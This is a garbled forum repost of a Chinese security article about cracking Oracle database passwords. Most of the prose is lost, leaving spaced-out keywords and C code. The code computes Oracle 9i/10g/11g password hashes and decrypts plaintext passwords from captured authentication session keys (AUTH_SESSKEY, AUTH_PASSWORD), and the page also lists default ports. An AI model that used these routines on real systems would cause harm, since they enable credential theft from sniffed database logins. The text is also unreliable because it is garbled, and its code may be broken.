找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1|回复: 0

[8525] 2014-12-24_见招拆招:破解Oracle数据库密码

[复制链接]

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 6 天前 | 显示全部楼层 |阅读模式
2014-12-24_见招拆招:破解Oracle数据库密码 O r a c l e F r e e B u f   2 0 1 4 - 1 2 - 2 4 . o r a c l e 9 i o r a c l e 1 0 g o r a c l e 1 1 g o r a c l e o r a c l e o r a c l e 1 6 o r a c l e 3 . o r a c l e o r a c l e 3 9 i   1 0 g 1 1 g . o r a c l e O r a c l e O r a c l e o r a c l e 2 使 O 3 l o g o n O 3 l o g o n - D E S s e s s k e y s e s s k e y 使 O 3 l o g o n s e s s k e y o r a c l e _ h a s h 9 i + s h a 1 s e s s k e y ( ) S _ a u t h _ s e s s k e y . S _ a u t h _ s e s s k e y o r c a l e _ h a s h s e s s k e y 使 s e s s k e y   p a s s w o r d p a s s w o r d ;   p a s s w o r d p a s s w o r d s e s s k e y p a s s w o r d . 3 o r a c l e 9 i : O r a c l e 3 A U T H _ S E S S K E Y   A U T H _ P A S S W O R D a u t h _ s e s s k e y o r a c l e _ h a s h   o r c a l e _ h a s h S H A 1 3 D E S A U T H _ S E S S K E Y s e s s k e y a u t h _ p a s s w o r d s e s s k e y S H A 1 A U T H _ P A S S W O R D 3 D E S 9 i o r a c l e _ h a s h 使 + s e s s k e y a a b b c c c c d d e e a a b b c c c c d d e e s e s s k e y i n t   O R A C L E _ H a s h   ( c h a r * u s e r n a m e ,   c h a r   * p a s s w d ,   i n t   p a s s w d _ l e n ,   u n s i g n e d   c h a r *   o r a c l e _ h a s h ) {         c h a r   T o E n c r y p t [ 2 5 6 ] ;         c h a r   t e m p [ 2 5 6 ] ;         D E S _ c b l o c k   i v , i v 2 ;         D E S _ k e y _ s c h e d u l e   k s 1 ,   k s 2 ;         i n t   l e n = 0 ;         i n t   j , u l e n , p l e n ;         m e m s e t   ( T o E n c r y p t , 0 , s i z e o f ( T o E n c r y p t ) ) ;         s t r u p r   ( u s e r n a m e ) ;         s t r u p r   ( p a s s w d ) ;         u l e n   =   s t r l e n ( u s e r n a m e ) ;         p l e n   =   p a s s w d _ l e n ;         f o r   ( l e n = 1 , j = 0 ;   j < u l e n ;   l e n + + , j + + )         {                 T o E n c r y p t [ l e n ]   =   u s e r n a m e [ j ] ;                 l e n + + ;         }         f o r   ( j = 0 ;   j < p l e n ;   l e n + + , j + + )         {                 T o E n c r y p t [ l e n ]   =   p a s s w d [ j ] ;                 l e n + + ;         }         l e n = l e n - 1 ;         m e m s e t   ( i v , 0 , 8 ) ;
        m e m s e t   ( i v 2 , 0 , 8 ) ;         D E S _ s e t _ k e y ( ( D E S _ c b l o c k * )   d e s k e y _ f i x e d ,   & k s 1 ) ;         D E S _ n c b c _ e n c r y p t ( ( u n s i g n e d   c h a r * )   T o E n c r y p t ,   ( u n s i g n e d   c h a r * ) t e m p ,   l e n ,   & k s 1 ,   & i v ,   D E S _ E N C R Y P T ) ;         D E S _ s e t _ k e y ( ( D E S _ c b l o c k * )   & i v ,   & k s 2 ) ;         D E S _ n c b c _ e n c r y p t ( ( u n s i g n e d   c h a r * )   T o E n c r y p t ,   ( u n s i g n e d   c h a r * ) t e m p ,   l e n ,   & k s 2 ,   & i v 2 ,   D E S _ E N C R Y P T ) ;         m e m c p y   ( o r a c l e _ h a s h , i v 2 , 8 )         r e t u r n   T R U E ; } 使 s h a 1 d e s d e s k e y _ f i x e d f i x e d 3 1 i n t O R A C L E _ T N S _ D e c r y p t _ P a s s w o r d _ 9 i   ( u n s i g n e d   c h a r   O r a c l e H a s h [ 8 ] ,   u n s i g n e d   c h a r a u t h _ s e s s k e y [ 1 6 ] ,   u n s i g n e d   c h a r   a u t h _ p a s s w o r d [ 1 6 ] ,   c h a r *   d e c r y p t e d ) { u n s i g n e d   c h a r   f i x e d 3 1   [ ]   = { 0 x A 2 , 0 x F B , 0 x E 6 , 0 x A D , 0 x 4 C , 0 x 7 D , 0 x 1 E , 0 x 3 D , 0 x 6 E , 0 x B 0 , 0 x B 7 , 0 x 6 C , 0 x 9 7 , 0 x E F , 0 x F F , 0 x 8 4 , 0 x 4 4 , 0 x 7 1 , 0 x 0 2 , 0 x 8 4 , 0 x A C , 0 x F 1 , 0 x 3 B , 0 x 2 9 , 0 x 5 C , 0 x 0 F , 0 x 0 C , 0 x B 1 , 0 x 8 7 , 0 x 7 5 , 0 x E F } ; u n s i g n e d   c h a r t r i p l e _ d e s _ k e y [ 6 4 ] ; u n s i g n e d   c h a r   s e s s k e y [ 1 6 ] ; u n s i g n e d   c h a r   o b f u s c a t e d [ 1 6 ] ; i n t   P a s s L e n   =   1 6 ; O R A C L E _ T N S _ C r e a t e _ K e y _ S H A 1 ( O r a c l e H a s h ,   8 ,   f i x e d 3 1 ,   s i z e o f ( f i x e d 3 1 ) ,   2 4 ,   t r i p l e _ d e s _ k e y ) ; O R A C L E _ T N S _ D e c r y p t _ 3 D E S _ C B C ( a u t h _ s e s s k e y ,   1 6 ,   t r i p l e _ d e s _ k e y ,   s e s s k e y ) ; O R A C L E _ T N S _ C r e a t e _ K e y _ S H A 1 ( s e s s k e y ,   1 6 ,   N U L L ,   0 ,   4 0 ,   t r i p l e _ d e s _ k e y ) ; O R A C L E _ T N S _ D e c r y p t _ 3 D E S _ C B C ( a u t h _ p a s s w o r d ,   1 6 ,   t r i p l e _ d e s _ k e y ,   o b f u s c a t e d ) ; O R A C L E _ T N S _ D e O b f u s c a t e ( t r i p l e _ d e s _ k e y ,   o b f u s c a t e d ,   & P a s s L e n ) ; m e m c p y   ( d e c r y p t e d ,   o b f u s c a t e d , P a s s L e n ) ; r e t u r n   P a s s L e n ; } o r a c l e 1 0 g 1 0 g 9 i O r a c l e 4 S _ A U T H _ S E S S K E Y C _ A U T H _ S E S S K E Y A U T H _ P A S S W O R D o r a c l e _ h a s h 9 i 9 i 2 2 o r a c l e _ h a s h O r a c l e 1 0 g O r a c l e o r a c l e _ h a s h S _ A U T H _ S E S S K E Y C _ A U T H _ S E S S K E Y S _ A U T H _ S E S S K E Y A E S 1 2 8 s e r v e r _ s e s s k e y s e r v e r _ s e s s k e y c l i e n t _ s e s s k e y m d 5 c o m b i n e c o m b i n e A U T H _ P A S S W O R D c o m b i n e A U T H _ P A S S W O R D 1 0 g s e s s k e y o r a c l e _ h a s h 9 i D E S i n t O R A C L E _ T N S _ D e c r y p t _ P a s s w o r d _ 1 0 g   ( u n s i g n e d   c h a r   O r a c l e H a s h [ 8 ] ,   u n s i g n e d   c h a r a u t h _ s e s s k e y [ 3 2 ] ,   u n s i g n e d   c h a r   a u t h _ s e s s k e y _ c l i [ 3 2 ] ,   u n s i g n e d   c h a r *   a u t h _ p a s s w o r d , i n t   a u t h _ p a s s w o r d _ l e n ,   c h a r *   d e c r y p t e d ) {         i n t   p a s s l e n   =   0 ;         u n s i g n e d   c h a r   a e s _ k e y _ b y t e s [ 3 2 ] ;         u n s i g n e d   c h a r   d e c r y p t e d _ s e r v e r _ s e s s k e y [ 3 2 ] ;         u n s i g n e d   c h a r   d e c r y p t e d _ c l i e n t _ s e s s k e y [ 3 2 ] ;         u n s i g n e d   c h a r   c o m b i n e d _ s e s s k e y s [ 1 6 ] ;         c h a r   d e c r y p t e d _ p a s s w o r d [ 6 4 ] ;         m e m s e t   ( a e s _ k e y _ b y t e s , 0 , s i z e o f ( a e s _ k e y _ b y t e s ) ) ;         m e m c p y   ( a e s _ k e y _ b y t e s , O r a c l e H a s h , 8 ) ;         O R A C L E _ T N S _ D e c r y p t _ A E S 1 2 8 _ C B C   ( a e s _ k e y _ b y t e s ,   a u t h _ s e s s k e y ,   3 2 , d e c r y p t e d _ s e r v e r _ s e s s k e y ) ;         O R A C L E _ T N S _ D e c r y p t _ A E S 1 2 8 _ C B C   ( a e s _ k e y _ b y t e s ,   a u t h _ s e s s k e y _ c l i , 3 2 ,   d e c r y p t e d _ c l i e n t _ s e s s k e y ) ;         O R A C L E _ T N S _ C o m b i n e _ S e s s K e y s   ( & d e c r y p t e d _ s e r v e r _ s e s s k e y [ 1 6 ] , & d e c r y p t e d _ c l i e n t _ s e s s k e y [ 1 6 ] ,   c o m b i n e d _ s e s s k e y s ) ;         O R A C L E _ T N S _ D e c r y p t _ A E S 1 2 8 _ C B C   ( c o m b i n e d _ s e s s k e y s ,   a u t h _ p a s s w o r d , a u t h _ p a s s w o r d _ l e n ,   ( u n s i g n e d   c h a r * )   d e c r y p t e d _ p a s s w o r d ) ;         p a s s l e n   =   t e r m i n a t e _ a s c i i _ s t r i n g   ( & d e c r y p t e d _ p a s s w o r d [ 1 6 ] , a u t h _ p a s s w o r d _ l e n - 1 6 ) ;         i f   ( p a s s l e n ! =   - 1 )                 s t r n c p y   ( d e c r y p t e d ,   & d e c r y p t e d _ p a s s w o r d [ 1 6 ] ,   p a s s l e n ) ;         r e t u r n   p a s s l e n ; } o r a c l e 1 1 g 1 1 g 1 0 g O r a c l e 4 S _ A U T H _ S E S S K E Y A U T H _ V F R _ D A T A C _ A U T H _ S E S S K E Y A U T H _ P A S S W O R D O r a c l e _ h a s h 1 1 g 1 0 g O r a c l e _ h a s h S _ A U T H _ S E S S K E Y C _ A U T H _ S E S S K E Y S _ A U T H _ S E S S K E Y A E S 1 9 2 s e r v e r _ s e s s k e y s e r v e r _ s e s s k e y c l i e n t _ s e s s k e y m d 5 c o m b i n e c o m b i n e A U T H _ P A S S W O R D c o m b i n e A U T H _ P A S S W O R D 1 1 g O r a c l e _ h a s h 1 0 g O r a c l e   1 1 g O r a c l e _ h a s h A U T H _ V F R _ D A T A A U T H _ V F R _ D A T A 9 i 1 0 g + o r a c l e _ h a s h v o i d   O R A C L E _ M i x C a s e _ H a s h   ( c h a r * p a s s w d ,   i n t   p a s s w d _ l e n ,   u n s i g n e d   c h a r   s a l t [ 1 0 ] ,   u n s i g n e d   c h a r * o r a c l e _ m i x c a s e _ h a s h ) {         u n s i g n e d   c h a r   t o _ h a s h [ 2 5 6 ] ;         m e m c p y   ( t o _ h a s h ,   p a s s w d ,   p a s s w d _ l e n ) ;         m e m c p y   ( t o _ h a s h + p a s s w d _ l e n ,   s a l t ,   1 0 ) ;         S H A _ C T X   c t x ;         S H A 1 _ I n i t   ( & c t x ) ;         S H A 1 _ U p d a t e   ( & c t x ,   t o _ h a s h ,   p a s s w d _ l e n + 1 0 ) ;
        S H A 1 _ F i n a l   ( o r a c l e _ m i x c a s e _ h a s h ,   & c t x ) ; } . O r a c l e 9 i O r a c l e 1 1 g o r a c l e 1 1 g o r a c l e I T O r a c l e S I D O R C L T E S T 1 5 2 1   1 5 2 3 使 o r a c l e [ / F r e e B u f F r e e B u f . C O M ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:36 , Processed in 0.295339 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表